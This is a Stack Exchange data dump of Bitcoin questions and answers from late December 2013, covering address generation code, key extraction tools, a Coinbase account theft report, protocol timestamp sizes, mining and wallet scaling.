  <row Id="19547" PostTypeId="1" CreationDate="2013-12-29T07:38:52.700" Score="1" ViewCount="200" Body="&lt;p&gt;I am trying to figure out in the the source code of bitaddress.org which files and functions that correspond to the generation of bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://github.com/pointbiz/bitaddress.org/tree/master/src&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pointbiz/bitaddress.org/tree/master/src&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point me to which files and functions that generate the bitcoin addresses? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to audit the code and also see how this all works since this can be done offline.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-12-29T21:51:46.417" Title="How are Bitcoin Addresses generated when using bitaddress.org?" Tags="|wallet|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19548" PostTypeId="1" CreationDate="2013-12-29T07:47:53.137" Score="2" ViewCount="147" Body="&lt;p&gt;I read that you are able to extract the public key address from a private key address. Is there a website or app that can do such a thing? I just want to be able to see if I can make up my own private key. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-12-29T17:36:20.413" Title="Whats a site or app where I can extract a public key just by typing in a private key?" Tags="|wallet|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19549" PostTypeId="2" ParentId="19514" CreationDate="2013-12-29T08:17:15.290" Score="2" Body="&lt;p&gt;You can always send whatever you have in your wallet to another address in the same wallet.&lt;br/&gt;&#xA;Depending on the size of the transaction you might have to pay a larger fee than normal.&lt;br/&gt;&lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2013-12-29T08:17:15.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19550" PostTypeId="1" CreationDate="2013-12-29T12:16:08.163" Score="-1" ViewCount="1514" Body="&lt;p&gt;Not sure anything can be done, but I want to know how they did it and to prevent them using the coins if at all possible. Here are the details of the theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just sent 0.8495 BTC (worth $604.46 USD) to 16fYQiV2cdHuycGo3eibE5JSKvndY2z8Gw. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;~6.40GMT 29th December.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only access coinbase via the android app, did this get compromised somehow?&lt;/p&gt;&#xA;" OwnerUserId="11547" LastActivityDate="2021-05-16T21:10:34.323" Title="Bitcoin theft from Coinbase account being hacked" Tags="|coinbase.com|theft|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19551" PostTypeId="1" AcceptedAnswerId="19578" CreationDate="2013-12-29T12:52:33.613" Score="9" ViewCount="486" Body="&lt;p&gt;Reading &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Block_Headers&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Block Headers&lt;/em&gt;&lt;/a&gt; on the Bitcoin wiki, I learned that the timestamp in a block header is four bytes, and the timestamp in the &quot;version&quot; message is eight bytes. Why are there two sizes, and why isn't it more consistent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/42Epo.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="1405" LastEditDate="2013-12-29T22:02:07.390" LastActivityDate="2013-12-29T23:16:04.633" Title="Why are there two byte sizes for timestamps in the Bitcoin protocol?" Tags="|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19552" PostTypeId="2" ParentId="19550" CreationDate="2013-12-29T13:13:39.170" Score="4" Body="&lt;p&gt;Unless you happen to know who owns &lt;code&gt;16fYQiV2cdHuycGo3eibE5JSKvndY2z8Gw&lt;/code&gt;, there is no way for you to get back your Bitcoin. You could try to raise awareness that this address holds stolen coin, but I don't see how that would benefit you in any way. What happened is essentially the Bitcoin equivalent of somebody taking your dollar bills from your wallet without you noticing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to get in touch with the Coinbase support and see if they have a policy regarding such events. You might also want to use more secure methods of storing your bitcoin in the future, such as password protected desktop wallets, paper wallets, or at least an online wallet with two way authenticated spending access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of how exactly the attacker gained access, I cannot tell from the information provided. It could either be by having compromised your android device or by having compromised your account at Coinbase directly.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-29T17:34:14.280" LastActivityDate="2013-12-29T17:34:14.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19553" PostTypeId="1" CreationDate="2013-12-29T14:17:20.547" Score="-1" ViewCount="5694" Body="&lt;p&gt;(not sure where to ask about this, since there seems to be no generic finance forum in stackexchange).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to find out who are the owners of the european central banks. I do not mean the European Central Bank, which is owned by the national central banks; I mean the Bundesbank, the Spanish Central Bank, the Italian Central Bank, and so on. Is this information public? Is there a central register where the shareholders are listed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have found just a polemic &lt;a href=&quot;http://henrymakow.com/2013/07/do-the-rothschilds-own-all.html&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; on the subject, and I would like to get more detailed information.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDITING TO GIVE MORE CONTEXT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Currently I think (but I am not completely sure), that the Bundesbank, the Dutch central Bank and the Spanish Central Bank are public entities (owned by the government), but the Italian, the English and the Danish central banks are private entities (owned mainly by other private banks). I would like to find an official list for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for other important banks: the FED and the BoJ seem to be private, and the BoC is public.&lt;/p&gt;&#xA;" OwnerUserId="9479" LastEditorUserId="9479" LastEditDate="2013-12-29T15:48:46.563" LastActivityDate="2013-12-29T15:48:46.563" Title="Who are the owners of the Central Banks in Europe" Tags="|banks|" AnswerCount="2" CommentCount="0" ClosedDate="2013-12-30T00:51:13.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="19554" PostTypeId="2" ParentId="19553" CreationDate="2013-12-29T15:14:39.677" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://de.wikipedia.org/wiki/Deutsche_Bundesbank&quot; rel=&quot;nofollow&quot;&gt;German wikipedia entry&lt;/a&gt; the Bundesbank is part of the public administration of Germany. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, Central Banks generally are part of the Government or Public Administration of the respective countries and was surprised when I learned this year that the Fed is in fact privately owned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am afraid that I am too lazy to check whether the other 27 Central Banks in the EU are government owned, but I think the &lt;a href=&quot;https://en.wikipedia.org/wiki/European_System_of_Central_Banks&quot; rel=&quot;nofollow&quot;&gt;Wikipedia article on the European System of Central Banks&lt;/a&gt; is probably a good starting point to research it.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-29T15:22:20.990" LastActivityDate="2013-12-29T15:22:20.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19555" PostTypeId="2" ParentId="19553" CreationDate="2013-12-29T15:17:33.457" Score="2" Body="&lt;p&gt;Theoretically, the European Union's governments. A cynical would say in practice they're all owned by each country's plutocrats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The confusion may come because of comparisons with the US Federal Reserve, which despite the name is not a government agency, but rather a cartel of privately owned banks with the awarded privilege of printing money. As far as I know, only the USA alone have kept this model since the 19th century, the rest of the world have public entities managing the central banks of each country - supposedly in the best interest of each country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on the Redshielded family... they're far from being the only banking dynasty in Europe, let alone in the world, though the most famous they may be. So many things are told about them that it's difficult to separate what's fact than fantasy. We can be sure they've got plenty of money and a lot of influence in national economic policies thru the number of enterprises they control (not just banking, but also wines and ships, among many others). But then we're talking about hundreds of individuals in several countries, with some inter-family conflicts, some abandoning the fold or entering other business areas, etc. so you can safely disregard their acting altogether &lt;em&gt;all of them&lt;/em&gt; just by using common sense.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-29T15:17:33.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19558" PostTypeId="2" ParentId="19502" CreationDate="2013-12-29T15:37:32.150" Score="2" Body="&lt;p&gt;&lt;em&gt;Theoretically&lt;/em&gt; you should see a net saving in electricity consumption for there ought to be some economies of scale in having a single motherboard with the 4 cards vs. 2 separate motherbs. each with 2 cards each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CPUs controlling such cards are consuming power themselves but such consumption doesn't get much bigger if you have 1, 2 or 4 cards in the same motherboard. Plus the inefficiencies in AC/DC conversion within the power supplies would double, so yes - you should definitely see some savings with that arrangement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, such a machine would consume &lt;em&gt;tons&lt;/em&gt; of power, which not a lot of power supplies would be able to yield - 500 Watts, 800 W? Plus all the heat they'd generate, which of course needs to be dissipated somehow - which means not just some big fans, but probably some heatsinks, Peltiers or just submerging the whole arrangement in a bath of mineral oil -- fluorinert would be even better, if you can afford it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such big initial investment costs could offset part of the savings, so I believe it would be barely more profitable than the 2 machines way.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-29T15:37:32.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19559" PostTypeId="2" ParentId="19534" CreationDate="2013-12-29T15:46:48.717" Score="10" Body="&lt;p&gt;The answer is double-layered:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Mastercoin uses Bitcoin for timestamping. It's impossible to revert the transaction at the Bitcoin level without doing a Bitcoin double spend (super costly).&lt;/li&gt;&#xA;&lt;li&gt;Mastercoin clients track the state of the system including how much is stored at each address. If a client double spends by sending two contradicting Mastercoin transactions, the second one will be discarded as an invalid spend by any client that parses the transaction stream.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-12-29T15:46:48.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19560" PostTypeId="2" ParentId="19306" CreationDate="2013-12-29T16:17:36.967" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.mastercoin.org/index.php/FAQ#What_is_Mastercoin_and_why_is_it_needed.3F&quot; rel=&quot;nofollow&quot;&gt;http://wiki.mastercoin.org/index.php/FAQ#What_is_Mastercoin_and_why_is_it_needed.3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mastercoin is both a new type of currency (MSC) and a platform. It is a new protocol layer running on top of bitcoin like HTTP runs on top of TCP/IP. Its purpose is to build upon the core Bitcoin protocol and add new &lt;a href=&quot;http://wiki.mastercoin.org/index.php/FAQ#What_are_some_of_the_advanced_features_of_Mastercoin.3F&quot; rel=&quot;nofollow&quot;&gt;advanced features&lt;/a&gt;, with a focus on a straight-forward and easy to understand implementation which allows for analysis and its rapid development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary features of the Mastercoin layer are different ways for user to create their own custom currencies straight from the client. The new user currencies include a variety of different usecase, including Smart Property, Pegged currencies (e.g. pegged to the value of the stable US Dollar or Gold), and Decentralized Applications where tokens include not just a financial aspect, but also decision making power.&#xA;For more info, please see &lt;a href=&quot;http://mastercoin.org/&quot; rel=&quot;nofollow&quot;&gt;mastercoin.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also this presentation (&lt;a href=&quot;https://www.youtube.com/watch?v=f-udT6NVl1E&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt; + &lt;a href=&quot;https://www.dropbox.com/s/u43ylvjvqf0p9f7/Mastercoin%20Status%20Nov%202013.pptx&quot; rel=&quot;nofollow&quot;&gt;slides&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-12-29T16:17:36.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19561" PostTypeId="2" ParentId="17507" CreationDate="2013-12-29T17:17:24.563" Score="0" Body="&lt;p&gt;Not sure if that's the case with you, however in the previous version of QT I got the same problem, it couldn't synchronize even when I left it on for 3 whole days, what I did then was create a new wallet on another PC, transfer my balance there, uninstall the problematic wallet, create a new one and then transfer my balance back there. It then took it only a couple of hours to synchronize. Don't forget to update your receiving addresses in miming pools, exchanges, etc after you complete this process.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2013-12-29T17:17:24.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19562" PostTypeId="2" ParentId="19548" CreationDate="2013-12-29T17:36:20.413" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://brainwallet.org&quot; rel=&quot;nofollow&quot;&gt;BrainWallet&lt;/a&gt; website does the trick. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-29T17:36:20.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19563" PostTypeId="2" ParentId="17514" CreationDate="2013-12-29T18:29:24.653" Score="1" Body="&lt;p&gt;Call listreceivedbyaddress(&lt;strong&gt;0, true&lt;/strong&gt;) to get all of your addresses (even the empty ones or those who have a zero-confirmations balance). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default (parameterless) it will only list the addresses that contain some confirmed balance and those who have at least one confirmation for their unconfirmed balance. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2013-12-29T18:29:24.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19564" PostTypeId="2" ParentId="19545" CreationDate="2013-12-29T19:07:08.623" Score="3" Body="&lt;p&gt;The paper wallet generator from &lt;a href=&quot;https://www.bitaddress.org/&quot; rel=&quot;nofollow&quot;&gt;Bitaddress&lt;/a&gt; lets you encrypt with BIP38.&lt;/p&gt;&#xA;" OwnerUserId="11557" LastActivityDate="2013-12-29T19:07:08.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19565" PostTypeId="2" ParentId="19550" CreationDate="2013-12-29T19:51:28.517" Score="0" Body="&lt;p&gt;Have you ever turned on API access to your account? I seem to be seeing a lot of issues losing bitcoin after enabling the API.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2013-12-29T19:51:28.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19566" PostTypeId="2" ParentId="18862" CreationDate="2013-12-29T19:53:36.790" Score="0" Body="&lt;p&gt;You made an error or blockchain had a glitch. You tried to move 0 Bitcoins from your account so of course nothing is going to show up in the other account. Are your Bitcoins still showing in the account that you sent them from?&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2013-12-29T19:53:36.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19567" PostTypeId="1" CreationDate="2013-12-29T20:34:54.247" Score="13" ViewCount="1722" Body="&lt;p&gt;We use the standard client in our business. The wallet already contains about 25k addresses. Will the wallet remain stable after the number reaches 100k or a million addresses? I was told that all major business have forked the client. Should we also fork and code our own wallet?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-12-30T15:49:30.887" Title="Does the original Bitcoin client scale to contain millions of addresses?" Tags="|bitcoind|client|scalability|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19568" PostTypeId="2" ParentId="19567" CreationDate="2013-12-29T21:10:53.040" Score="3" Body="&lt;p&gt;Regular BitcoinQT client is not suited to run a &lt;em&gt;huge&lt;/em&gt; amount of addresses/transactions.&#xA;The database easly goes to the roof in a month with IO operations, if you do, let's say, 1 transaction per minute. &#xA;Please consider reading blockchain directly, or use external service, which will handle the overhead for you, ie. Blockchain.info&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2013-12-29T21:10:53.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19569" PostTypeId="2" ParentId="19567" CreationDate="2013-12-29T21:11:05.800" Score="2" Body="&lt;p&gt;It all comes down to historical data. Do you retrieve historical data by querying the blockchain or do you rely on your own transactional data in a local DB? If you do the latter and you are concerned about the stability of your overloaded wallet you can always switch to a brand new, clean wallet with only the preloaded 100 addresses and be confident that up to the 25K point everything will be smooth and running. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2013-12-29T21:11:05.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19570" PostTypeId="2" ParentId="19567" CreationDate="2013-12-29T21:14:37.720" Score="5" Body="&lt;p&gt;I've ran tests before on .5 million addresses generated in one afternoon. It fired walletnotify within the milliseconds, no noticeable delay when I sent an amount to a random address. Only noticeable thing was that the client took 30 minutes to start up, which I guess is fine if you run a larger service. Only thing that may trouble you is slow transaction creation time, but someone on here advised me to just move the funds into a new address monthly.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-29T21:14:37.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19571" PostTypeId="2" ParentId="19547" CreationDate="2013-12-29T21:51:46.417" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/pointbiz/bitaddress.org/blob/master/src/bitcoinjs-lib.eckey.js#L65&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pointbiz/bitaddress.org/blob/master/src/bitcoinjs-lib.eckey.js#L65&lt;/a&gt; seems like a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functionality you are interested in has been taken from &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-lib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoinjs/bitcoinjs-lib&lt;/a&gt;, so you might want to have a look there as well.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2013-12-29T21:51:46.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19572" PostTypeId="1" CreationDate="2013-12-29T22:03:09.783" Score="1" ViewCount="1845" Body="&lt;p&gt;How would one start creating a web wallet?  What I have so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate an address per user of the wallet using bitcoind&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I secure the private key?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tell user deposit address using bitcoind and php&lt;/li&gt;&#xA;&lt;li&gt;Get balance of address after a deposit using more php? (what RPC call must I use?)&lt;/li&gt;&#xA;&lt;li&gt;Here's where I am stuck - How can I allow the user to send to somewhere else?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="11562" LastActivityDate="2014-07-01T00:53:22.413" Title="Web Wallet Creation with PHP and bitcoind" Tags="|bitcoind|address|e-wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19573" PostTypeId="1" CreationDate="2013-12-29T22:25:03.657" Score="1" ViewCount="431" Body="&lt;p&gt;What is the work that the computer performs while it does Bitcoin mining? Is it useful work in any case?&lt;/p&gt;&#xA;" OwnerDisplayName="user1431" LastEditorUserId="5406" LastEditDate="2016-03-10T09:05:22.700" LastActivityDate="2016-03-10T09:05:22.700" Title="What is the useful work done during the mining of Bitcoin?" Tags="|mining-theory|proof-of-work|adoption|consensus|" AnswerCount="4" CommentCount="1" ClosedDate="2014-01-01T21:26:54.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="19574" PostTypeId="2" ParentId="19573" CreationDate="2013-12-29T22:33:55.977" Score="0" Body="&lt;p&gt;All you are doing is computing sha256 hashs. You can read more about it here &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining&lt;/a&gt;. What do you mean by useful that is pretty ambiguous.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2013-12-29T22:33:55.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19575" PostTypeId="2" ParentId="19572" CreationDate="2013-12-29T22:37:04.033" Score="0" Body="&lt;p&gt;If you have done the first 3 this should have been pretty easy. All you need to do is use sendfrom as listed on the bitcoin rpc api at &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;. The information for sendfrom is pretty self explanatory. Your first question on how to secure a private key is pretty broad you should learn more about bitcoin if you are still confused by this as it seems you want to offer this service to others.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2013-12-29T22:37:04.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19576" PostTypeId="2" ParentId="19573" CreationDate="2013-12-29T22:50:39.140" Score="1" Body="&lt;p&gt;It's not useful in any way other than maintaining mining in the bitcoin protocol. This is wasteful, but it is the easiest solution to the problem it's solving, you can quickly verify the correct sha256 hash. If an imaginary coin did computations for charity as it's &quot;mining&quot;, how could people verify a node claiming to have done 100 computations correctly without also doing the same work? &lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-29T22:50:39.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19577" PostTypeId="2" ParentId="19546" CreationDate="2013-12-29T22:53:01.570" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Improvement_Proposals&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin_Improvement_Proposals&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIPs aren't too organized, but usually there's a thread in the development section of bitcointalk and a few things on mailing list.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-29T22:53:01.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19578" PostTypeId="2" ParentId="19551" CreationDate="2013-12-29T23:16:04.633" Score="4" Body="&lt;p&gt;This was discussed in the mailing list a while back:&#xA;&lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=30824341&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/mailarchive/message.php?msg_id=30824341&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing 32-bit timestamp was used by Satoshi in the original client and the 64-bit timestamp was introduced later to avoid timestamp overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We may need to change (hardfork) the old 32-bit timestamp fields to 64-bit at some point. See &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Hardfork_Wishlist&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11412" LastActivityDate="2013-12-29T23:16:04.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19579" PostTypeId="1" CreationDate="2013-12-30T00:10:43.583" Score="6" ViewCount="1547" Body="&lt;p&gt;During &lt;a href=&quot;http://media.ccc.de/browse/congress/2011/28c3-4746-en-bitcoin_an_analysis.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this CCC conference&lt;/a&gt; from 2011, starting from 00:18:55, the presenter suggests that as bitcoins can be lost (lost private key, dead owner, sending to an &amp;quot;eater&amp;quot; address that nobody possesses, etc.), and as the total amount of bitcoins has a known threshold (21 millions), &lt;strong&gt;there is a possibility that given enough time, most bitcoins, if not all, will actually vanish&lt;/strong&gt; (be unusable).&lt;/p&gt;&#xA;&lt;p&gt;The questions is &lt;strong&gt;when&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Actually, according to him:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if 0.5% of bitcoins are getting lost per year, &amp;quot;all&amp;quot; bitcoins will be gone by approx. 2032;&lt;/li&gt;&#xA;&lt;li&gt;if the losing rate is 0.1% per year, it will probably last for a century, but will ultimately be doomed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And if we &lt;em&gt;suppose&lt;/em&gt; that inactive wallets (2 years with no transaction) are in fact lost wallets, we reach that 0.1%/year threshold...&lt;/p&gt;&#xA;" OwnerUserId="11520" LastEditorUserId="11520" LastEditDate="2021-12-16T23:11:55.303" LastActivityDate="2022-01-16T00:21:37.610" Title="Will &quot;all&quot; bitcoins ultimately vanish? (be unusable)" Tags="|shrinking-money-supply|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19580" PostTypeId="2" ParentId="19573" CreationDate="2013-12-30T00:29:14.920" Score="2" Body="&lt;p&gt;Mining secures the Bitcoin blockchain and confirms transactions, solving the double-spend problem without the need for a central authority.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-30T00:29:14.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19581" PostTypeId="2" ParentId="19579" CreationDate="2013-12-30T00:30:23.050" Score="7" Body="&lt;p&gt;The math is clearly absurdly unrealistic because as there are fewer Bitcoins available, it becomes harder to lose them. So the rate of loss has to decay as the availability of Bitcoins goes down.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-30T00:30:23.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19582" PostTypeId="2" ParentId="19579" CreationDate="2013-12-30T00:41:06.380" Score="5" Body="&lt;p&gt;Are you suggesting that 0.5% relative to the still available bitcoins are lost every year or 0.5% of the absolute amount of bitcoins? Anyway, either my math is lying or each would turn out to be about 10% loss in 20 years, which doesn't translate to &quot;all&quot; in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, should the value of Bitcoin sufficiently increase (which would happen if as many Bitcoins were lost as you suggest), the protocol could be hard-forked to allow for another eight digits divisibility. While the distribution would remain the same, a fraction of a bitcoin would then still be enough to fuel a global economy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, since this question was first asked, wallets with deterministic key derivation have become more commonplace. As it is sufficient to transfer the master seed for such wallets, it is almost trivial to bequeath such wallets.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-01-03T22:01:57.003" LastActivityDate="2017-01-03T22:01:57.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19583" PostTypeId="2" ParentId="18863" CreationDate="2013-12-30T00:45:12.277" Score="1" Body="&lt;p&gt;Obviously you can't spend funds from an account you added as watch only. You'll need to import the private key into the tool of your choice. Note that as soon as you do that, it ceases to be a paper wallet. So you should only do that when you're ready to spend/destroy the paper wallet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-30T00:45:12.277" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19584" PostTypeId="2" ParentId="19573" CreationDate="2013-12-30T00:51:50.410" Score="1" Body="&lt;p&gt;Mining is useful in that it solves the double spending problem, provides the confirmation of transactions and security of the network. It also doubles as the mechanism to spread the currency without having a central dispensary, creates a positive reward for people to drive adoption, and makes it more attractive to spend computing power to benefit the network than to attack it.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-30T00:51:50.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19585" PostTypeId="2" ParentId="19424" CreationDate="2013-12-30T02:15:47.407" Score="1" Body="&lt;p&gt;The normal approach is as you suggest, to update the average regularly - that's pretty much the definition of a moving average. For example &lt;a href=&quot;http://en.wikipedia.org/wiki/Bollinger_Bands&quot; rel=&quot;nofollow&quot;&gt;Bollinger Bands&lt;/a&gt; are a similar metric and use a moving average which is continually updated. A true moving average would be updated with every trade made but it makes sense to break it down into periods of 30 seconds or a minute.&lt;/p&gt;&#xA;" OwnerUserId="3210" LastActivityDate="2013-12-30T02:15:47.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19586" PostTypeId="1" CreationDate="2013-12-30T02:30:19.817" Score="9" ViewCount="5002" Body="&lt;p&gt;In version 0.8.6 of Bitcoin, I see that peers.dat file is a custom database format declared in db.h:317 (class CAddrDB) and defined in dh.cpp:485. Any ideas on how I could go about reading the data from peers.dat with PHP or Python? I'd like to keep track of all peers that the bitcoin daemon sees and connects to.  Or is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="11002" LastActivityDate="2013-12-30T03:24:24.393" Title="How do I read peers.dat file to get a list of all peers seen or that bitcoind has connected to?" Tags="|bitcoind|raw-data|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
